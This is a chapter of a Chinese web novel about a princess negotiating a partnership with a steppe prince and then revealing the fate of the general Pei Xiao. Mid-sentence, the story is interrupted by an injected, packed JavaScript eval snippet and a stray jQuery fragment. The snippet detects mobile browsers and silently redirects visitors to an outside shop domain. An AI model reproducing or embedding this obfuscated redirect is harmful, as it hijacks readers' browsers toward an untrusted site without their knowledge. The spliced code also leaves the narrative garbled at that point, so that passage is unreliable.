赫卢那朔赶到时,正看到大可汗与小可汗的队伍离开。
雨滴胡乱地打在他身上,一路的疾驰不止马匹累得发出声声嘶鸣,他的头发已经湿透,衣服上还沾染着泥土,也是狼狈不堪。
他如风一般卷着泥土冲进营地,翻身下马一气呵成,将紧握了一路的缰绳一扔,手上竟已勒出了红痕。
他木然的看着自己正微微颤抖着地手指,只觉得耳边一阵嗡鸣,身后守卫担忧地询问着什么,可他只觉得心跳声太大,再听不见其他。
空中惊雷一闪,雨下的更大了,他抬脚就朝着营地内跑去,地上的泥水被一下下溅起,他的心也随着一下下重重地跌落。
“特勤?”赤那刚刚嘱咐完巫医,扭头走了几步就看到赫卢那朔狼狈的模样。见喊他听不见,赤那干脆跑过去拦住他,又见他目光发直,身体被冰雨浸透了却似感受不到冷,赤那大喊不妙,先前太紧张了,竟忘了拦住景岁安身边的护卫了。
他急忙跑过去伸手拦下赫卢那朔,焦急询问:“你回来大可汗知道吗?”
赫卢那朔似乎听不见,只想着绕开他,“赤那,你让开。”
“你听我说,她都解决了……”赤那伸出的手僵在半空,后半句弱弱的飘出,赫卢那朔却已经绕过了他朝着景岁安的帐篷跑去。
见他去错了方向赤那无奈大声喊道:“去错了!在大帐!”
…………
越靠近大帐赫卢那朔的心就跳得越厉害,额头上的汗滴混着雨水滑入眼睛,一阵刺痛他只随意擦去。
大帐的门帘近在眼前,他是冲进去的。
“岁安!”
急切的目光环视四周,最终落在帐中的主位上,景岁安随意的坐着,见他回来却并不惊讶。周围的一切仿佛都静止了,就连外面的雨声都停了。赫卢那朔紧盯着她的脸,眸子微微颤抖着,生怕看不真切。
景岁安苍白的脸上似笑非笑,眸子因看着猎物自投罗网而变得明亮。
“和他们都谈完了。”
“现在该你了。”
她说完后静静等待着赫卢那朔的反应,忍不住猜测他会说什么。大帐内静的可怕,只有外面的雨声噼里啪啦吵的人心烦。
景岁安的目光忍不住打量起他那湿透了的头发,本就微卷的头发贴着额头和脸颊,水滴顺着往下掉,配上他那双有些泛红的眼睛,不知为何让景岁安心中不安起来。
他衣服也湿透了,紧紧的贴在身上,男人健硕的身体隐隐约约显现出来让她不敢多看,别扭地挪开眼。
比起她的略显别扭,赫卢那朔更加直接,他的眼睛从头到脚把她看了一个遍,最终落在她的肩膀上,脸色顿时阴沉的可怕,“是谁。”
景岁安愣了几秒,顺着他的目光才意识到他是什么意思,这样要杀人的语气让她顿时心虚的轻咳起来,垂着眼睛不敢看他,开口却在试图拉回正题。
“新婚当夜你曾说过,若我能证明自身价值你就会同意合作。”说话间她有意无意地瞟着赫卢那朔的脸色,手指不自觉紧了紧,“如今我凭借自己的能力解决了困扰特勤多日的麻烦,特勤是否该兑现那日的承诺?”
那双墨黑的眸子中有什么在流转,朦胧的,湿润的,如雾气般潮湿阴冷。
片刻后,他的手指渐渐松开了,眼睛也无力的垂下,再开口像是失了力气,“你故意放人去通知我,就是为了这个。”
听了她的话他方才渐渐清醒,想起刚刚赤那的反应,一切都在慢慢变得清晰,“你没受伤,对吗。”
景岁安本就没打算瞒他,见他挑破便开口承认:“只是为了计策,倒也没必要真的做那么危险的事。”
他的声音突然提高了几分,带着怒气:“你知道我听到消息的时候是什么感受吗?”
话一出口他先是一愣,随后垂下眼眸,努力克制着心里的怒火,手臂却止不住的微微发抖。
景岁安被他吓得浑身一颤,抿了抿嘴望着他的眼睛多了些迷茫。他这样的失态是第一次,她的嘴唇动了动,却什么都没说出来。
“那我呢。”他慢慢抬起眼睛看向她,“我是你计划中的一环?是帮你做结尾的工具?还是你陷阱里的猎物?”
又是一阵沉默,景岁安坐在那,手指不自觉地抓着衣摆,第一次对谋划感到心虚,也是第一次不敢直视一个人。
她见过太多包裹着秘密的眼睛,虚伪的,狡诈的,试图掩盖真实目的的……
她善于挖掘其中最底层的欲望,无论眼睛的主人如何遮掩,可眼前这双眼睛,让她看不明白,却心里闷的难受。
“特勤言重了。”她终究是挪开了视线,紧紧抓着衣摆撑着面上的镇静,“特勤是我未来的同路人,既是合作关系特勤何故如此生气。”
同路人……
赫卢那朔在心里默默地念着,心中苦笑抬眼看她。那副淡漠的模样,眼中还带着些许茫然,她定是不懂,所以他不能也不应该怪她。
他的视线落在她的唇上,嘴唇不安的轻抿着,却依旧能说出那些没有温度的话。
他怎能不气。
可他独自气了半天又有何用?心中苦涩化作一声淡淡的叹息,与她生气还不如顺势而为。
“好,既然你说是同路人,那我们之间自然不能再有什么隐瞒之事。”他几步走到了景岁安身边的椅子前,坐下后静静地看着她,“流言是你散布的?”
“是。”
他忍不住苦笑,赤那那家伙被人当枪使了还不知道。
“掺了假的流言你就不怕引火烧身?”
景岁安抬了抬眉毛,“说谎若是真假掺半便足以唬人,更何况信的人多了,假的也成了真的。”
“左右小可汗也拿不出证据,大可汗本就多疑,即使不信我也不会信他。”
赫卢那朔淡淡的叹了口气,“若只为了让赫卢那烈吃瘪,你何苦卷进来。草原内部复杂……”
“我为何不能卷进来?我不需要你的庇护。”景岁安开口打断,她最不喜欢打着为你好的旗号却行束缚之实的行为,语气也跟着重了几分,“如今我与特勤谈的是合作,特勤只需说答应与否。”
“我答应。”他说的果断,倒是让景岁安愣了一下。
他如今算是摸清了她的脾气,与她硬碰硬绝非良策,她这样的人若不放在眼皮底下,怕是能闹翻天。
“即是同路人,便需要约束。日后你我之间没有秘密和隐瞒,做决定时需双方同意。”他目光真挚,观察着她的表情变化,“你可同意?”
“我同意。”她没有思考,也无需思考,毕竟只要不被发现,何来隐瞒一说呢?
她自觉该说的都说了,赫卢那朔依旧盯着她,她不由得背后发凉直觉告诉她此地不宜久留。
见景岁安起身准备离开,他伸手抓住了她的手腕,冰凉的肌肤与他发热的手心碰触的瞬间,她浑身一颤,随后疑惑地转头看过来。
“还有何事?”
赫卢那朔嘴角噙着淡笑,将她脸上一闪而过的不自然尽收眼底,手却根本不打算松开。淡淡开口:“刚说了,不能隐瞒。”
“……我没有。”
他饶有趣味地看着她,早知她不会乖乖的听话,倒也不恼,“那长风行已与你取得联系怎么不说?”
她绷着脸,竟不知他如何会知道。
她撇开目光不去看他,嘴上却丝毫不认输,“我不过递出消息,不算与他们取得联系。”
回答她的只有诡异的沉默……
她梗着脖子嘴硬道:“不信你去问赤那,我可从没让他去找过长风行。”
又是一阵沉默……
她皱眉掩饰窘迫,晃了晃被抓住的手,气势大不如前,“你先松开,我们有话好好说。”
……
“三日后会有长风行的人先行来营地……”话一出口,她看到赫卢那朔的嘴角露出一抹笑意,仿佛一根羽毛在她后背瘙痒,一股无名火窜了起来,嘴硬的又补上一句:“这不算瞒着你,等人来了你自然是要见到的。”
“也是。”赫卢那朔点了点头,见她神色稍稍缓和又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743674|209170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
突然开口,“若是我还需出营巡查……三日应该赶不回来。”
那脸眼看着更红了。
他压着不自觉扬起的嘴角,只觉得心里所有的不爽快在一点点消散,稍不留神,景岁安抓住时机用力地将手抽了回去,只一瞬他的眼睛瞥见那纤细手腕上透出他手指形状的淡红痕迹,心头一颤,连忙瞥过眼,不敢再多看一眼。
早就压下的心跳声又开始重重的敲击他的耳膜,不知为何,这大帐有些闷热。
“你……”他欲言又止,在诡异的沉默中,好半天才组织齐了语言,“长风行是你的底牌,我不会插手过多。只是来往联络还需让我知情。”
他垂着眼睛解释着,尽量让自己的声音听起来与平时无异,可回应他的只有沉默,抬眼看去,大帐里早没了她的身影。
他的嘴角再也压不住了,眼睛中的暖意流露出来,低下头看着自己的手指,上面仿佛还停留着刚才的触感。
————
景岁安是逃出去的,不甘化作火苗一点点燎着她的心,憋的脸上绯红一片。
赤那等在大帐门口,见景岁安出来了,连忙走过去问:“如何了?”
可她神色怪异,却是没听见似的。
跟在后面的怀霜看他满脸疑惑,叹了口气道:“问你家特勤去吧。”随后赶紧跟上去帮景岁安撑伞。
被混着雨水的风一吹,景岁安这才觉得稍稍好些。她并非自负,但多年混迹深宫她从不吃瘪,可如今在赫卢那朔身边,她都快记不清这是第几次了。
她不禁开始怀疑,赫卢那朔是否身怀绝技能听人心声。要不然就是这人与自己八字相克!
怀霜跟在她身后,看着她脸上的表情变化不由得笑出了声。
景岁安蹙了蹙眉,“笑什么?”
“没什么。”怀霜憋住了笑,“只是觉得公主比起以前似乎更鲜活了。”
景岁安抿了抿嘴,最终只深深吐了口气。人在屋檐下,哪能不低头呢。雨滴打在伞面上,也落在她心里,方才的窘迫无法完全消散,堵在胸口闷闷的。她深吸一口气,试图把这些不重要的情绪压下去。
怀霜的声音突然响起,打断了她的思绪。“公主,其实我还是没太明白,您是如何知道首领就是裴骁将军的?据我所知,裴将军已销声匿迹多年了。”
景岁安沉默片刻,慢慢停下了脚步,将手伸出伞外,感受着冰冷的雨滴打在手心。
“他不是裴骁。”
她的声音很轻,却似雨水般冰冷。
“裴骁早就死了。”她顿了顿,眼中有什么在慢慢渗透出来,“死在七年前了。”
怀霜浑身一僵,撑着伞的手微微一顿,只一瞬又被她死死攥住。
景岁安向前迈了两步,整个人都暴露在雨中,可心头的怒火却无法熄灭。
“定北军主将裴骁,死于押送回京的路上。其心腹以及家眷,被屠戮殆尽。”她仰起头自顾自地说着,雨水打在脸上,落进眼里,她都没有停下。
“战功赫赫的定北军全军重编,那些抬着头的一律处死,而低头的方能苟活。那首领不过是定北军中选择了低头的人。”
“知道为什么裴骁会死吗?”她回过头来看着怀霜,嘴角带笑却让人浑身一颤。
“裴骁自己或许都不知道。”她笑出了声,“定国之战后进京不过半月,就是这短短半月害了他。”
怀霜颤抖着手,轻声问:“可他与废帝之间并无更深的牵连又怎会落得如此下场?”
“是啊…”景岁安低下头,语气中带着疑惑和嘲讽道:“叔父他怎会不知呢?可裴骁还是死了。”
她说完,似将最后一口气一并吐出,手臂无力地垂着,片刻后却又笑出了声来,“狡兔死,走狗烹。”
她慢慢抬起头,看向远方,一字一顿道:
“谁是兔,谁是狗还不一定呢。”
朝着这个方向一直往前是连绵的群山,群山之后是她的来时路。
京城安静了这么久,也该有动静了,而她已等候多时。